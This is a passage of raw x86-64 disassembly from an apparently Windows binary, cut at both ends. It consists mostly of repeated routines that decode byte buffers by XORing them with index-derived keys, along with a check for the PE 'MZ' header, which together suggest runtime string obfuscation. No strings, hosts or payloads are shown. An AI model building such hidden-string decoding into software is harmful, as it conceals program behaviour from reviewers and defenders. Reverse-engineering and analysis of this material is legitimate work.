movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140004670
jmp 0x140004791
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140004760
mov byte [rsp + 0x54], 0
lea rdx, [rbp + 0x8a8]
lea rcx, [rsp + 0x54]
call fcn.140019400
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140003c01
mov r8d, edi
cmp esi, 2
jl 0x14000487e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140004890
mov rcx, r10
jmp 0x140004db8
mov byte [rsp + 0x55], 0
lea rdx, [rbp + 0x134]
lea rcx, [rsp + 0x55]
call fcn.140019d90
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400048fd
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1740]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1740]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1740]
call fcn.1400b3040
cmp ebx, 5
jne 0x140004dcb
mov byte [rsp + 0x56], 0
lea rdx, [rbp + 0x618]
lea rcx, [rsp + 0x56]
call fcn.14001a490
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140004982
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rsp + 0x57], 0
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x57]
call fcn.14001a410
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400049aa
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x58], 0
lea rdx, [rbp + 0x8b8]
lea rcx, [rsp + 0x58]
call fcn.14001a240
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140004af0
mov r8d, edi
cmp esi, 2
jl 0x140004ab2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140004ac0
mov byte [rsp + 0x59], 0
lea rdx, [rbp + 0xe58]
lea rcx, [rsp + 0x59]
call fcn.14001a070
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140004c30
mov r8d, edi
cmp esi, 2
jl 0x140004bee
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140004c00
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x5a], 0
lea rdx, [rbp + 0x8c8]
lea rcx, [rsp + 0x5a]
call fcn.140019ea0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140004d71
mov r8d, edi
cmp esi, 2
jl 0x140004d36
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140004d40
mov byte [rsp + 0x5b], 0
lea rdx, [rbp + 0x468]
lea rcx, [rsp + 0x5b]
call fcn.140019e10
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140004db5
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x140017f6c
mov byte [rsp + 0x5c], 0
lea rdx, [rbp + 0x1a4]
lea rcx, [rsp + 0x5c]
call fcn.14001a530
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140004e13
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1760]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1760]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140005519
mov byte [rsp + 0x5d], 0
lea rdx, [rbp + 0x1560]
lea rcx, [rsp + 0x5d]
call fcn.14001adf0
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x140004fa1
mov r8d, edi
cmp esi, 2
jl 0x140004f67
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004e80
cmp r8d, 0x1a
jge 0x140004fa1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140004f70
mov byte [rsp + 0x5e], 0
lea rdx, [rbp + 0x13b8]
lea rcx, [rsp + 0x5e]
call fcn.14001abe0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140005101
mov r8d, edi
cmp esi, 2
jl 0x1400050c7
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004fe0
cmp r8d, 0x16
jge 0x140005101
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400050d0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x5f], 0
lea rdx, [rbp + 0x8d8]
lea rcx, [rsp + 0x5f]
call fcn.14001aa10
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140005240
mov r8d, edi
cmp esi, 2
jl 0x140005209
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140005210
mov byte [rsp + 0x60], 0
lea rdx, [rbp + 0xe68]
lea rcx, [rsp + 0x60]
call fcn.14001a840
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140005380
mov r8d, edi
cmp esi, 2
jl 0x14000533e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140005350
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rsp + 0x61], 0
lea rdx, [rbp + 0x628]
lea rcx, [rsp + 0x61]
call fcn.14001a7a0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400053e4
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rsp + 0x62], 0
lea rdx, [rbp + 0x1238]
lea rcx, [rsp + 0x62]
call fcn.14001a5c0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140005511
mov r8d, edi
cmp esi, 2
jl 0x1400054d1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400054e0
mov rcx, r10
jmp 0x1400066c8
mov byte [rsp + 0x63], 0
lea rdx, [rbp + 0x2d8]
lea rcx, [rsp + 0x63]
call fcn.14001b000
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140005559
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1780]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1780]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140005aef
mov byte [rsp + 0x64], 0
lea rdx, [rbp + 0xe78]
lea rcx, [rsp + 0x64]
call fcn.14001b720
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x1400056c1
mov r8d, edi
cmp esi, 2
jl 0x140005681
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140005690
mov byte [rsp + 0x65], 0
lea rdx, [rbp + 0x8e8]
lea rcx, [rsp + 0x65]
call fcn.14001b550
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400057f1
mov r8d, edi
cmp esi, 2
jl 0x1400057ae
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400057c0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x8f8]
lea rcx, [rsp + 0x66]
call fcn.14001b380
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140005930
mov r8d, edi
cmp esi, 2
jl 0x1400058f9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140005900
mov byte [rsp + 0x67], 0
lea rdx, [rbp + 0xe88]
lea rcx, [rsp + 0x67]
call fcn.14001b1b0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140005a70
mov r8d, edi
cmp esi, 2
jl 0x140005a2e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140005a40
mov rdx, rbx
mov rcx, r10
